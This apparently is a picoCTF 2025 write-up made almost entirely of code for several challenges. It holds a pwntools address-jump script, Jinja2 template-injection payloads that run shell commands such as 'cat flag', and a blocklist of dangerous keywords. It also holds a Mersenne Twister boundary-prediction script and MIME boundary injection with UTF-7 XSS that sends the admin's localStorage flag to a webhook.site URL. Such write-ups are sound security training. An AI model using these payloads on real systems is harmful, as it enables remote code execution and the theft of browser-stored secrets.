picoCTF 2025

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

from pwn import *
p = remote("rescued-float.picoctf.net", 57078)

out = p.recvline().decode()
main = int(out.split("0x")[1], 16)
win = main - 0x96

print(f"win() address: {hex(win)}")
p.sendline(hex(win))
print(p.recvall().decode())

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}

<!--
    TODO
    ------------
    Secure python_flask eval execution by 
        1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
        2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
-->

open(chr(47)+"flag"+chr(46)+"txt")

int(*open(chr(47)+"flag"+chr(46)+"txt"))

<!--?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?-->

<!--?php
if(isset($_POST["username"])&& isset($_POST["pwd"])){$yuf85e0677=$_POST["username"];$rs35c246d5=$_POST["pwd"];if($yuf85e0677==$rs35c246d5){echo <br/>Failed! No flag for you;}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents('../flag.txt');}else{echo <br/>Failed! No flag for you;}}}?-->

from typing import Annotated
from fastapi import Body, Depends, FastAPI, HTTPException, status
from fastapi.staticfiles import StaticFiles
from jinja2 import Template
from model import *

import asyncio
import db
import util
import uuid
import uvicorn
import sys
import os

app = FastAPI()

template = Template(open('./template.jinja2', 'r').read(), autoescape=True)
browser = asyncio.Lock()

@app.post('/api/login')
async def login(
	username: Annotated[str, Body()],
	password: Annotated[str, Body()]
) -> str:
	user = await db.get_user(username)
	if password != user.password:
		raise HTTPException(
			status_code=status.HTTP_401_UNAUTHORIZED,
			detail='incorrect password'
		)
	return await db.make_token(user.username)

@app.get('/api/me')
async def ok(user: Annotated[User, Depends(db.request_user)]):
	return user.username

@app.get('/api/emails')
async def emails(
	user: Annotated[User, Depends(db.request_user)],
) -> dict[str, Email]:
	return await db.get_emails(user)

@app.get('/api/email/{email_id}')
async def email(
	user: Annotated[User, Depends(db.request_user)],
	email_id: str
):
	return await db.get_email(user, email_id)

@app.post('/api/mark_read/{email_id}')
async def mark_read(
	user: Annotated[User, Depends(db.request_user)], 
	email_id: str
) -> bool:
	return await db.mark_read(user, str(email_id))

@app.post('/api/send')
async def send(
	user: Annotated[User, Depends(db.request_user)],
	to: Annotated[str, Body()],
	subject: Annotated[str, Body()],
	body: Annotated[str, Body()]
):
	# make sure the email we're sending to is valid
	recipient = await db.get_user(to)

	if len(user.public_key) == 0:
		msg = util.generate_email(
			sender=user.username,
			recipient=recipient.username,
			subject=subject,
			content=body,
		)
	else:
		msg = util.generate_email(
			sender=user.username,
			recipient=recipient.username,
			subject=subject,
			content=template.render(
				title=subject,
				content=body
			),
			html=True,
			sign=True,
			cert=user.public_key,
			key=user.private_key
		)

	email_id = str(uuid.uuid4())
	await db.send_email(recipient, email_id, msg)

	return email_id

@app.get('/api/root_cert')
async def root_cert():
	return await db.get_root_cert()

@app.post('/api/admin_bot')
async def admin_bot(_: Annotated[User, Depends(db.request_user)],):
	admin = await db.get_user('admin@ses')
	print("123")
	async with browser:
		async with asyncio.timeout(15):
			proc = await asyncio.create_subprocess_exec(sys.executable, 'admin_bot.py', env={
				'FLAG': os.environ.get('FLAG', 'picoCTF{flag}'),
				'PASSWORD': admin.password,
			})
			await proc.wait()

	return 'success'

@app.get('/api/password')
async def password():
	return await db.get_user_password()

app.mount('/', StaticFiles(directory='static', html=True), name='static')

uvicorn.run(app, port=8000, host='0.0.0.0')    

from os import environ
from playwright.async_api import async_playwright, expect

import asyncio
import re

flag = environ.get('FLAG', 'picoCTF{flag}')
password = environ.get('PASSWORD', 'admin@ses')

async def bot():
	async with asyncio.timeout(12):
		async with async_playwright() as p:
			browser = await p.chromium.launch()
			page = await browser.new_page()
			await page.goto('http://127.0.0.1:8000')

			await page.evaluate('flag => localStorage.setItem("flag", flag)', flag)
			
			# login
			await page.type('[name=username]', 'admin@ses')
			await page.type('[name=password]', password)
			await page.click('button')

			# click on first email
			await page.wait_for_url('http://127.0.0.1:8000/inbox.html', wait_until='networkidle')
			try:
				await page.click('tbody tr', timeout=1000)
			except:
				await browser.close()
				return

			# click reply button
			await page.wait_for_url('http://127.0.0.1:8000/email.html?id=*', wait_until='networkidle')
			await expect(page.locator('#reply')).to_have_attribute('href', re.compile('.*'))
			await page.click('#reply button')

			# reply to email
			await page.wait_for_url('http://127.0.0.1:8000/reply.html?id=*', wait_until='networkidle')
			await page.type('textarea', '\n\n'.join([
				'We\'ve gotten your message and will respond soon.',
				'Thank you for choosing SES!',
				'Best regards,',
				'The Secure Email Service Team'
			]))
			await page.click('#reply button')
			await browser.close()

asyncio.run(bot())

Content-Type: multipart/mixed; boundary="===============0171192972617867235=="
MIME-Version: 1.0
From: user@ses
To: admin@ses
Subject: Re: Welcome to Secure Email Service!

--===============0171192972617867235==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

<script>alert(1)</script>
--===============0171192972617867235==--

if len(user.public_key) == 0:
    msg = util.generate_email(
        sender=user.username,
        recipient=recipient.username,
        subject=subject,
        content=body,
    )
else:
    msg = util.generate_email(
        sender=user.username,
        recipient=recipient.username,
        subject=subject,
        content=template.render(
            title=subject,
            content=body
        ),
        html=True,
        sign=True,
        cert=user.public_key,
        key=user.private_key
    )

def generate_email(
	sender: str,
	recipient: str,
	subject: str,
	content: str,
	html: bool = False,
	sign: bool = False,
	cert: str = '',
	key: str = '',
) -> str:
	msg = MIMEMultipart()
	msg['From'] = sender
	msg['To'] = recipient
	msg['Subject'] = subject
	msg.attach(MIMEText(content))

	if html:
		msg.attach(MIMEText(content, 'html'))		

	if sign:
		return smail.sign_message(msg, key.encode(), cert.encode()).as_string()

	return msg.as_string()

test
From: test@ses

#   _make_boundary = Generator._make_boundary
# at the end of the module.  It *is* internal, so we could drop that...
@classmethod
def _make_boundary(cls, text=None):
    # Craft a random boundary.  If text is given, ensure that the chosen
    # boundary doesn't appear in the text.
    token = random.randrange(sys.maxsize)

import random
import requests
import re
from main import *
cracker = Untwister()

headers = {
    'Content-Type': 'application/json',
    'token': '62fe387ae674fdff008eb267ae72db2385a9080974221f1e415d31db3924c262',
}

json_data = {
    'to': 'user@ses',
    'subject': '123',
    'body': '456',
}

for i in range(1000):

	res = requests.post('http://127.0.0.1:8000/api/send', headers=headers, json=json_data, verify=False)
	res2 = requests.get(f'http://127.0.0.1:8000/api/email/{res.text.replace("\"", "")}', headers=headers, verify=False)
	data = res2.json()['data']
	boundary = int(re.findall(r"===(\d+)==",data)[0])
	b = bin(boundary)[2:].zfill(63)
	low = b[:31]
	high = b[31:]
	low = low + '?'
	cracker.submit(high)
	cracker.submit(low)

randcrack = cracker.get_random()
for _ in tqdm.trange(10):
	

	res = requests.post('http://127.0.0.1:8000/api/send', headers=headers, json=json_data, verify=False)
	res2 = requests.get(f'http://127.0.0.1:8000/api/email/{res.text.replace("\"", "")}', headers=headers, verify=False)
	data = res2.json()['data']
	
	real_boundary = int(re.findall(r"===(\d+)==",data)[0])
	crack_boundary = randcrack.getrandbits(63)
	
	print(real_boundary, crack_boundary)

test

--==============={admin_boundary}==
Content-Type : text/html; charset=us-ascii
MIME-Version : 1.0

<img src=x onerror=alert(1) />
--==============={admin_boundary}==

test

--==============={admin_boundary}==
Content-Type : text/html; charset=utf-7
MIME-Version : 1.0

+ADw-img+ACA-src+AD0-+ACI-x+ACI-+ACA-onerror+AD0-alert(1)+ADs-+ACA-/+AD4-
--==============={admin_boundary}==

cls._compile_re('^--' + re.escape(b) + '(--)?$', re.MULTILINE)

test

    --==============={admin_boundary}==
Content-Type : text/html; charset=utf-7
MIME-Version : 1.0

+ADw-img+ACA-src+AD0-+ACI-x+ACI-+ACA-onerror+AD0-alert(1)+ADs-+ACA-/+AD4-
    --==============={admin_boundary}==

<img src="x" onerror=fetch('https://webhook.site/1639fb06-1baf-48d4-868f-001ae363e147'+localStorage.getItem("flag")) />

test

    --==============={admin_boundary}==
Content-Type : text/html; charset=utf-7
MIME-Version : 1.0

+ADw-img+ACA-src+AD0-+ACI-x+ACI-+ACA-onerror+AD0-fetch('webhook-url'+-localStorage.getItem(+ACI-flag+ACI-))+ACA-/+AD4-
    --==============={admin_boundary}==

<img src="x" onerror=fetch('//webhook.site/1639fb06-1baf-48d4-868f-001ae363e147/?'.concat(localStorage.getItem('flag'))) />